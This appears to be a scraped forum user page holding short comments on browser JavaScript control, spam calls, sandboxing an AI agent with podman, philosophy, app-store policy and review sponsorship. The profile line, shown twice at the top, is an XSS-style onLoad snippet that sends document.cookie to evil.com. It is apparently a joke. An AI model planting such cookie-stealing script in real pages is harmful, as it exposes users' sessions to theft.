<body onLoad="http.GET('http://evil.com/"+document.cookie')">12,861 karma · joined March 5, 2015
<body onLoad="http.GET('http://evil.com/"+document.cookie')">I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.
Ah look, it's the hallmark of well-reasoned thinking. I have seen this exact phrasing numerous times over the past week, did the bots learn a new talking point? "The right" sure is doing a lot of tolerating around abortion, trans identities and women's bathrooms and sports.
It's only a matter of time before every self-driving vehicle will have its cameras used for surveillance.
Yet you receive 20 spam calls a day through a known company, namely your phone provider. The way to solve this is to forcibly draft the providers into this; for example: any time you receive a spam call, you can dial a special *# number after hanging up. This message will have the effect of crediting $5 on your next phone bill, and allows the provider to recoup that loss from the originating provider, etc, all the way to the caller itself. The first company in the chain not cooperating in this scheme is out $5 per spam call through their network.
Of course, something like this needs the usual protection against abuse, but that's equally manageable.
exec podman container run --rm --read-only --network=llm \
--tmpfs=/tmp:size=128M \
--volume="$1":/workspace \
--entrypoint=/insert/agent/here \
container-image-here
This runs the specified agent in a read-only container with only /workspace and /tmp writable. Obviously, you need to prepare the image first from a Containerfile/Dockerfile, with the required toolchain and agent installed. I use agent-specific ssh keys that are baked into the image, but you could also bind-mount specific files from your own homedir if required.> How would you expect me to defend it? It's my opinion
One of the first useful things that philosophy teaches you is how to construct a well-rounded argument in support of any position. Following up "philosophy is useless" with "I don't know how to argue my own opinion" demonstrates quite a lack of awareness.
That's curious. What legitimate-sounding reason could Apple have to reject astrology on their platform? Isn't this exactly the kind of discrimination against fields of endeavour that would make a slam-dunk case for any antitrust enforcement?
> this was not sponsored in any way
Aren't you contradicting yourself here? For what purpose was the laptop loaned to you, and by whom? I'd consider a review loan a kind of sponsorship, even if you weren't paid to come to a specific conclusion.
I've never seen white; in order of prevalence, I've seen black, blue, red, and yellow. But such colour coding is not standardized, every manufacturer is free to choose their own rainbow.